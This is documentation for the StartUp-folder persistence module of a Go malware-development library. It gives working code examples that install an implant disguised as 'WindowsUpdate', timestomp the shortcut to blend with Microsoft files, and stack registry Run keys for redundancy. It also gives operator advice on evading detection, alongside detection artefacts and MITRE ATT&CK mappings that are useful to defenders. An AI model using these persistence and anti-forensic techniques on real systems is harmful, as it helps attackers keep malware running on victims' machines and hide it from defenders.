StartUp folder persistence

← persistence index · docs/index

TL;DR

Drop a .lnk shortcut into the user or machine StartUp folder. Windows Shell launches every shortcut it finds at user logon. No admin needed for user-scope; admin for machine-wide. Implements persistence.Mechanism. Sibling to persistence/registry — pair them for redundancy.

Primer

The StartUp folder is the GUI-era equivalent of Run keys. Windows Shell scans two well-known directories at logon and launches every shortcut it finds:

  • User: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • Machine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Once-popular as an "easy" persistence path, it's now well-known to defensive tooling — but the user folder still sees less default scrutiny than HKLM\…\Run on most stacks. The package wraps persistence/lnk (LNK creation primitive) with the right paths and a Mechanism adapter.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Lnk as "persistence/lnk"
    participant FS as "%APPDATA%\…\Startup"
    participant Logon as "User logon"
    participant Shell as "Windows Shell"

    Impl->>Lnk: New().SetTargetPath(payload).Save(<dir>\Update.lnk)
    Lnk->>FS: write .lnk
    Note over Logon: Reboot / log off + log on
    Shell->>FS: enumerate Startup folder
    FS-->>Shell: Update.lnk (target = payload)
    Shell->>Impl: CreateProcess(payload)

Per-user paths can be discovered via SHGetKnownFolderPath / %APPDATA%; the package's UserDir / MachineDir helpers encapsulate that.

API Reference

Functions

SymbolDescription
UserDir() (string, error)Resolve %APPDATA%\…\Startup for the calling user
MachineDir() (string, error)Resolve %PROGRAMDATA%\…\StartUp
Install(name, target, args)Drop a .lnk into the user folder
InstallMachine(name, target, args)Drop a .lnk into the machine folder (admin)
Remove(name) errorDelete the user-folder shortcut
RemoveMachine(name) errorDelete the machine-folder shortcut
Exists(name) boolUser-folder presence probe
Shortcut(name, target, args) *ShortcutMechanismMechanism adapter for persistence.InstallAll

name must be the value the LNK file will get without the .lnk suffix — Install appends it.

Examples

Simple — user-scope drop

import "github.com/oioio-space/maldev/persistence/startup"

_ = startup.Install("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`,
    "--silent")
defer startup.Remove("WindowsUpdate")

Composed — Mechanism + idempotency

m := startup.Shortcut("WindowsUpdate",
    `C:\Users\Public\winupdate.exe`, "")
if !startup.Exists("WindowsUpdate") {
    _ = m.Install()
}

Advanced — machine-wide install + timestomp

Drop the launcher in the machine folder so the implant runs at every user's logon, then timestomp the resulting LNK so it blends with surrounding Microsoft files.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\ProgramData\Microsoft\winupdate.exe`

if err := startup.InstallMachine("WindowsUpdate", target, ""); err != nil {
    panic(err)
}

machineDir, _ := startup.MachineDir()
lnkPath := filepath.Join(machineDir, "WindowsUpdate.lnk")

ref, _ := os.Stat(`C:\Windows\System32\svchost.exe`)
t := ref.ModTime()
_ = timestomp.SetFull(lnkPath, t, t, t)

Pipeline — startup + registry redundancy

Pair a Run-key with the StartUp shortcut so removing one does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/startup"
)

const target = `C:\Users\Public\winupdate.exe`

mechs := []persistence.Mechanism{
    startup.Shortcut("WindowsUpdate", target, ""),
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WindowsUpdateBackup", target),
}
_ = persistence.InstallAll(mechs)

See ExampleShortcut.

OPSEC & Detection

ArtefactWhere defenders look
File creation under %APPDATA%\…\StartupPath-scoped EDR rules — high-fidelity even for benign-looking LNKs
File creation under %PROGRAMDATA%\…\StartUpSame, with admin involvement adding to the signal
autoruns.exe -lcuser / -l listingSysinternals Autoruns surfaces both folders
LNK pointing at user-writable / temp pathsDefender heuristic
LNK with mismatched icon vs target binaryEDR rule cross-checks IconLocation vs TargetPath
Implant binary lacking signature + Microsoft VERSIONINFOPair with pe/masquerade + pe/cert

D3FEND counters:

  • D3-FCA — LNK header inspection.
  • D3-SEA — target-binary review.

Hardening for the operator:

  • Prefer the user folder unless machine-wide is required — lower default coverage.
  • Match icon + display name to a plausible identity (Notes, Update, OneDrive).
  • Pair with cleanup/timestomp so the LNK's MFT timestamps blend with surrounding Microsoft artefacts.
  • Pair with persistence/registry for redundancy via persistence.InstallAll.
  • Avoid this technique when the target stack runs strict ASR rules ("Block executable content from email client and webmail" applies to LNKs delivered via that channel).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.001Boot or Logon Autostart Execution: Startup Folderfull — user + machineD3-FCA
T1547.009Shortcut Modificationpartial — LNK creation primitive (delegated to persistence/lnk)D3-FCA

Limitations

  • Logon-only trigger. Like Run keys, fires at user logon — not at boot.
  • One LNK per name. Re-installing under the same name overwrites the existing shortcut without warning.
  • Windows-only. No cross-platform stub.
  • Visible to standard triage. Both folders are universal IR triage targets.
  • No service-account context. LNKs run in the logging-in user's session — for SYSTEM-scope persistence use persistence/service.

See also